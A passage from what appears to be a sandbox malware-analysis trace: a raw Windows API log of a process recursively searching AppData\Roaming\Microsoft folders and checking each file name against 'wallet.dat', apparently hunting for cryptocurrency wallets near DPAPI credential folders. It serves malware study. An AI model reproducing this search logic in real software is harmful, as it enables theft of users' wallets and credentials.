pszPath="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned 1 [0266.367] lstrcmpW (lpString1="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Office", lpString2="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned 1 [0266.367] StrCpyW (in: psz1=0x6f50e8, psz2="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Office" | out: psz1="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Office") returned="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Office" [0266.367] StrCpyW (in: psz1=0x706a60, psz2="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Office" | out: psz1="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Office") returned="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Office" [0266.367] lstrlenW (lpString="\\*") returned 2 [0266.367] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Office") returned 51 [0266.367] LocalAlloc (uFlags=0x40, uBytes=0x16a) returned 0x706de8 [0266.367] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Office\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\microsoft\\office\\*"), lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28666ef0, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x2b32ecd0, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x2b32ecd0, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName=".", cAlternateFileName="")) returned 0x6ca540 [0266.367] lstrcmpW (lpString1=".", lpString2="..") returned -1 [0266.367] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0266.367] lstrcmpW (lpString1=".", lpString2="wallet.dat") returned -1 [0266.368] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28666ef0, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x2b32ecd0, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x2b32ecd0, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName="..", cAlternateFileName="")) returned 1 [0266.368] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0266.368] lstrcmpW (lpString1="..", lpString2="wallet.dat") returned -1 [0266.368] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2868d050, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x2868d050, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x2868d050, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x9362, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName="MSO1033.acl", cAlternateFileName="")) returned 1 [0266.368] lstrcmpW (lpString1="MSO1033.acl", lpString2="wallet.dat") returned -1 [0266.368] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2b32ecd0, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x2b413510, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x2b413510, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName="Recent", cAlternateFileName="")) returned 1 [0266.368] lstrcmpW (lpString1="Recent", lpString2="..") returned 1 [0266.368] lstrcmpW (lpString1="Recent", lpString2=".") returned 1 [0266.368] LocalAlloc (uFlags=0x40, uBytes=0xa28) returned 0x6f3a18 [0266.368] PathCombineW (in: pszDest=0x6f3a18, pszDir="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Office", pszFile="Recent" | out: pszDest="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Office\\Recent") returned="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Office\\Recent" [0266.368] LocalFree (hMem=0x6f3a18) returned 0x0 [0266.368] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2b32ecd0, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x2b413510, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x2b413510, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName="Recent", cAlternateFileName="")) returned 0 [0266.369] LocalFree (hMem=0x6f50e8) returned 0x0 [0266.369] LocalFree (hMem=0x706de8) returned 0x0 [0266.369] FindClose (in: hFindFile=0x6ca540 | out: hFindFile=0x6ca540) returned 1 [0266.370] LocalFree (hMem=0x6f2fe8) returned 0x0 [0266.370] FindNextFileW (in: hFindFile=0x6ca4c0, lpFindFileData=0x24f5a0 | out: lpFindFileData=0x24f5a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x500531d0, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x5b267fb0, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x5b267fb0, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f15b0, dwReserved1=0x104, cFileName="Outlook", cAlternateFileName="")) returned 1 [0266.370] lstrcmpW (lpString1="Outlook", lpString2="..") returned 1 [0266.370] lstrcmpW (lpString1="Outlook", lpString2=".") returned 1 [0266.370] LocalAlloc (uFlags=0x40, uBytes=0xa28) returned 0x6f2fe8 [0266.370] PathCombineW (in: pszDest=0x6f2fe8, pszDir="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft", pszFile="Outlook" | out: pszDest="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Outlook") returned="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Outlook" [0266.370] LocalAlloc (uFlags=0x40, uBytes=0x20a) returned 0x6f50e8 [0266.370] LocalAlloc (uFlags=0x40, uBytes=0x218) returned 0x706a60 [0266.370] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x6f50e8, csidl=26, fCreate=0 | out: pszPath="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned 1 [0266.370] lstrcmpW (lpString1="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Outlook", lpString2="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned 1 [0266.370] StrCpyW (in: psz1=0x6f50e8, psz2="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Outlook" | out: psz1="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Outlook") returned="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Outlook" [0266.370] StrCpyW (in: psz1=0x706a60, psz2="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Outlook" | out: psz1="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Outlook") returned="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Outlook" [0266.370] lstrlenW (lpString="\\*") returned 2 [0266.370] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Outlook") returned 52 [0266.370] LocalAlloc (uFlags=0x40, uBytes=0x16c) returned 0x706de8 [0266.371] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Outlook\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\microsoft\\outlook\\*"), lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x500531d0, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x5b267fb0, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x5b267fb0, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName=".", cAlternateFileName="")) returned 0x6ca540 [0266.371] lstrcmpW (lpString1=".", lpString2="..") returned -1 [0266.371] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0266.371] lstrcmpW (lpString1=".", lpString2="wallet.dat") returned -1 [0266.371] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x500531d0, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x5b267fb0, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x5b267fb0, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName="..", cAlternateFileName="")) returned 1 [0266.371] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0266.371] lstrcmpW (lpString1="..", lpString2="wallet.dat") returned -1 [0266.371] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x53aa4cd0, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x53aa4cd0, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x3a502870, ftLastWriteTime.dwHighDateTime=0x1d7100d, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName="Outlook.srs", cAlternateFileName="")) returned 1 [0266.371] lstrcmpW (lpString1="Outlook.srs", lpString2="wallet.dat") returned -1 [0266.371] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5b267fb0, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x5b267fb0, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x3a907d30, ftLastWriteTime.dwHighDateTime=0x1d7100d, nFileSizeHigh=0x0, nFileSizeLow=0x93e, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName="Outlook.xml", cAlternateFileName="")) returned 1 [0266.371] lstrcmpW (lpString1="Outlook.xml", lpString2="wallet.dat") returned -1 [0266.371] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5b267fb0, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x5b267fb0, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x3a907d30, ftLastWriteTime.dwHighDateTime=0x1d7100d, nFileSizeHigh=0x0, nFileSizeLow=0x93e, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName="Outlook.xml", cAlternateFileName="")) returned 0 [0266.372] LocalFree (hMem=0x6f50e8) returned 0x0 [0266.372] LocalFree (hMem=0x706de8) returned 0x0 [0266.372] FindClose (in: hFindFile=0x6ca540 | out: hFindFile=0x6ca540) returned 1 [0266.372] LocalFree (hMem=0x6f2fe8) returned 0x0 [0266.372] FindNextFileW (in: hFindFile=0x6ca4c0, lpFindFileData=0x24f5a0 | out: lpFindFileData=0x24f5a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x42694660, ftCreationTime.dwHighDateTime=0x1d7b065, ftLastAccessTime.dwLowDateTime=0x42694660, ftLastAccessTime.dwHighDateTime=0x1d7b065, ftLastWriteTime.dwLowDateTime=0x42694660, ftLastWriteTime.dwHighDateTime=0x1d7b065, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f15b0, dwReserved1=0x104, cFileName="Proof", cAlternateFileName="")) returned 1 [0266.373] lstrcmpW (lpString1="Proof", lpString2="..") returned 1 [0266.373] lstrcmpW (lpString1="Proof", lpString2=".") returned 1 [0266.373] LocalAlloc (uFlags=0x40, uBytes=0xa28) returned 0x6f2fe8 [0266.373] PathCombineW (in: pszDest=0x6f2fe8, pszDir="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft", pszFile="Proof" | out: pszDest="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Proof") returned="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Proof" [0266.373] LocalAlloc (uFlags=0x40, uBytes=0x20a) returned 0x6f50e8 [0266.373] LocalAlloc (uFlags=0x40, uBytes=0x218) returned 0x706a60 [0266.373] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x6f50e8, csidl=26, fCreate=0 | out: pszPath="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned 1 [0266.373] lstrcmpW (lpString1="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Proof", lpString2="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned 1 [0266.373] StrCpyW (in: psz1=0x6f50e8, psz2="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Proof" | out: psz1="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Proof") returned="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Proof" [0266.373] StrCpyW (in: psz1=0x706a60, psz2="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Proof" | out: psz1="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Proof") returned="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Proof" [0266.373] lstrlenW (lpString="\\*") returned 2 [0266.373] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Proof") returned 50 [0266.373] LocalAlloc (uFlags=0x40, uBytes=0x168) returned 0x706de8 [0266.373] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Proof\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\microsoft\\proof\\*"), lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x42694660, ftCreationTime.dwHighDateTime=0x1d7b065, ftLastAccessTime.dwLowDateTime=0x42694660, ftLastAccessTime.dwHighDateTime=0x1d7b065, ftLastWriteTime.dwLowDateTime=0x42694660, ftLastWriteTime.dwHighDateTime=0x1d7b065, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName=".", cAlternateFileName="")) returned 0x6ca540 [0266.374] lstrcmpW (lpString1=".", lpString2="..") returned -1 [0266.374] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0266.374] lstrcmpW (lpString1=".", lpString2="wallet.dat") returned -1 [0266.374] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x42694660, ftCreationTime.dwHighDateTime=0x1d7b065, ftLastAccessTime.dwLowDateTime=0x42694660, ftLastAccessTime.dwHighDateTime=0x1d7b065, ftLastWriteTime.dwLowDateTime=0x42694660, ftLastWriteTime.dwHighDateTime=0x1d7b065, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName="..", cAlternateFileName="")) returned 1 [0266.374] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0266.374] lstrcmpW (lpString1="..", lpString2="wallet.dat") returned -1 [0266.374] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x42694660, ftCreationTime.dwHighDateTime=0x1d7b065, ftLastAccessTime.dwLowDateTime=0x42694660, ftLastAccessTime.dwHighDateTime=0x1d7b065, ftLastWriteTime.dwLowDateTime=0x42694660, ftLastWriteTime.dwHighDateTime=0x1d7b065, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName="..", cAlternateFileName="")) returned 0 [0266.375] LocalFree (hMem=0x6f50e8) returned 0x0 [0266.375] LocalFree (hMem=0x706de8) returned 0x0 [0266.375] FindClose (in: hFindFile=0x6ca540 | out: hFindFile=0x6ca540) returned 1 [0266.375] LocalFree (hMem=0x6f2fe8) returned 0x0 [0266.375] FindNextFileW (in: hFindFile=0x6ca4c0, lpFindFileData=0x24f5a0 | out: lpFindFileData=0x24f5a0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x795d9e30, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x30b088f0, ftLastAccessTime.dwHighDateTime=0x1d7100d, ftLastWriteTime.dwLowDateTime=0x30b088f0, ftLastWriteTime.dwHighDateTime=0x1d7100d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f15b0, dwReserved1=0x104, cFileName="Protect", cAlternateFileName="")) returned 1 [0266.375] lstrcmpW (lpString1="Protect", lpString2="..") returned 1 [0266.375] lstrcmpW (lpString1="Protect", lpString2=".") returned 1 [0266.376] LocalAlloc (uFlags=0x40, uBytes=0xa28) returned 0x6f2fe8 [0266.376] PathCombineW (in: pszDest=0x6f2fe8, pszDir="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft", pszFile="Protect" | out: pszDest="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Protect") returned="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Protect" [0266.376] LocalAlloc (uFlags=0x40, uBytes=0x20a) returned 0x6f50e8 [0266.376] LocalAlloc (uFlags=0x40, uBytes=0x218) returned 0x706a60 [0266.376] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x6f50e8, csidl=26, fCreate=0 | out: pszPath="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned 1 [0266.376] lstrcmpW (lpString1="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Protect", lpString2="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned 1 [0266.376] StrCpyW (in: psz1=0x6f50e8, psz2="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Protect" | out: psz1="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Protect") returned="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Protect" [0266.376] StrCpyW (in: psz1=0x706a60, psz2="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Protect" | out: psz1="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Protect") returned="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Protect" [0266.376] lstrlenW (lpString="\\*") returned 2 [0266.376] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Protect") returned 52 [0266.376] LocalAlloc (uFlags=0x40, uBytes=0x16c) returned 0x706de8 [0266.376] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Protect\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\microsoft\\protect\\*"), lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x795d9e30, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x30b088f0, ftLastAccessTime.dwHighDateTime=0x1d7100d, ftLastWriteTime.dwLowDateTime=0x30b088f0, ftLastWriteTime.dwHighDateTime=0x1d7100d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName=".", cAlternateFileName="")) returned 0x6ca540 [0266.377] lstrcmpW (lpString1=".", lpString2="..") returned -1 [0266.377] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0266.377] lstrcmpW (lpString1=".", lpString2="wallet.dat") returned -1 [0266.377] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x795d9e30, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x30b088f0, ftLastAccessTime.dwHighDateTime=0x1d7100d, ftLastWriteTime.dwLowDateTime=0x30b088f0, ftLastWriteTime.dwHighDateTime=0x1d7100d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName="..", cAlternateFileName="")) returned 1 [0266.377] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0266.377] lstrcmpW (lpString1="..", lpString2="wallet.dat") returned -1 [0266.377] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x79a044b0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79a044b0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x60624f40, ftLastWriteTime.dwHighDateTime=0x1d85957, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName="CREDHIST", cAlternateFileName="")) returned 1 [0266.377] lstrcmpW (lpString1="CREDHIST", lpString2="wallet.dat") returned -1 [0266.377] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x795d9e30, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x799de350, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName="S-1-5-21-3111613574-2524581245-2586426736-500", cAlternateFileName="S-1-5-~1")) returned 1 [0266.377] lstrcmpW (lpString1="S-1-5-21-3111613574-2524581245-2586426736-500", lpString2="..") returned 1 [0266.377] lstrcmpW (lpString1="S-1-5-21-3111613574-2524581245-2586426736-500", lpString2=".") returned 1 [0266.377] LocalAlloc (uFlags=0x40, uBytes=0xa28) returned 0x6f3a18 [0266.377] PathCombineW (in: pszDest=0x6f3a18, pszDir="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Protect", pszFile="S-1-5-21-3111613574-2524581245-2586426736-500" | out: pszDest="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500") returned="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500" [0266.378] LocalFree (hMem=0x6f3a18) returned 0x0 [0266.378] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x30b088f0, ftCreationTime.dwHighDateTime=0x1d7100d, ftLastAccessTime.dwLowDateTime=0x510a9850, ftLastAccessTime.dwHighDateTime=0x1d7b064, ftLastWriteTime.dwLowDateTime=0x510a9850, ftLastWriteTime.dwHighDateTime=0x1d7b064, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName="S-1-5-21-4219442223-4223814209-3835049652-1000", cAlternateFileName="S-1-5-~2")) returned 1 [0266.378] lstrcmpW (lpString1="S-1-5-21-4219442223-4223814209-3835049652-1000", lpString2="..") returned 1 [0266.378] lstrcmpW (lpString1="S-1-5-21-4219442223-4223814209-3835049652-1000", lpString2=".") returned 1 [0266.378] LocalAlloc (uFlags=0x40, uBytes=0xa28) returned 0x6f3a18 [0266.378] PathCombineW (in: pszDest=0x6f3a18, pszDir="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Protect", pszFile="S-1-5-21-4219442223-4223814209-3835049652-1000" | out: pszDest="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-4219442223-4223814209-3835049652-1000") returned="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-4219442223-4223814209-3835049652-1000" [0266.378] LocalFree (hMem=0x6f3a18) returned 0x0 [0266.378] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x7bba3b70, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7bba3b70, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x606bd4c0, ftLastWriteTime.dwHighDateTime=0x1d85957, nFileSizeHigh=0x0, nFileSizeLow=0x4c, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName="SYNCHIST", cAlternateFileName="")) returned 1 [0266.378] lstrcmpW (lpString1="SYNCHIST", lpString2="wallet.dat") returned -1 [0266.378] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x7bba3b70, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7bba3b70, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x606bd4c0, ftLastWriteTime.dwHighDateTime=0x1d85957, nFileSizeHigh=0x0, nFileSizeLow=0x4c, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName="SYNCHIST", cAlternateFileName="")) returned 0 [0266.379] LocalFree (hMem=0x6f50e8) returned 0x0 [0266.379] LocalFree (hMem=0x706de8) returned 0x0 [0266.379] FindClose (in: hFindFile=0x6ca540 | out: hFindFile=0x6ca540) returned 1 [0266.379] LocalFree (hMem=0x6f2fe8) returned 0x0 [0266.379] FindNextFileW (in: hFindFile=0x6ca4c0, lpFindFileData=0x24f5a0 | out: lpFindFileData=0x24f5a0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x795b3cd0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x795b3cd0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x96779c3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f15b0, dwReserved1=0x104, cFileName="SystemCertificates", cAlternateFileName="SYSTEM~1")) returned 1 [0266.379] lstrcmpW (lpString1="SystemCertificates", lpString2="..") returned 1 [0266.379] lstrcmpW (lpString1="SystemCertificates", lpString2=".") returned 1 [0266.379] LocalAlloc (uFlags=0x40, uBytes=0xa28) returned 0x6f2fe8 [0266.380] PathCombineW (in: pszDest=0x6f2fe8, pszDir="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft", pszFile="SystemCertificates" | out: pszDest="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\SystemCertificates") returned="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\SystemCertificates" [0266.380] LocalAlloc (uFlags=0x40, uBytes=0x20a) returned 0x6f50e8 [0266.380] LocalAlloc (uFlags=0x40, uBytes=0x218) returned 0x706a60 [0266.380] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x6f50e8, csidl=26, fCreate=0 | out: pszPath="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned 1 [0266.380] lstrcmpW (lpString1="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\SystemCertificates", lpString2="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned 1 [0266.380] StrCpyW (in: psz1=0x6f50e8, psz2="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\SystemCertificates" | out: psz1="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\SystemCertificates") 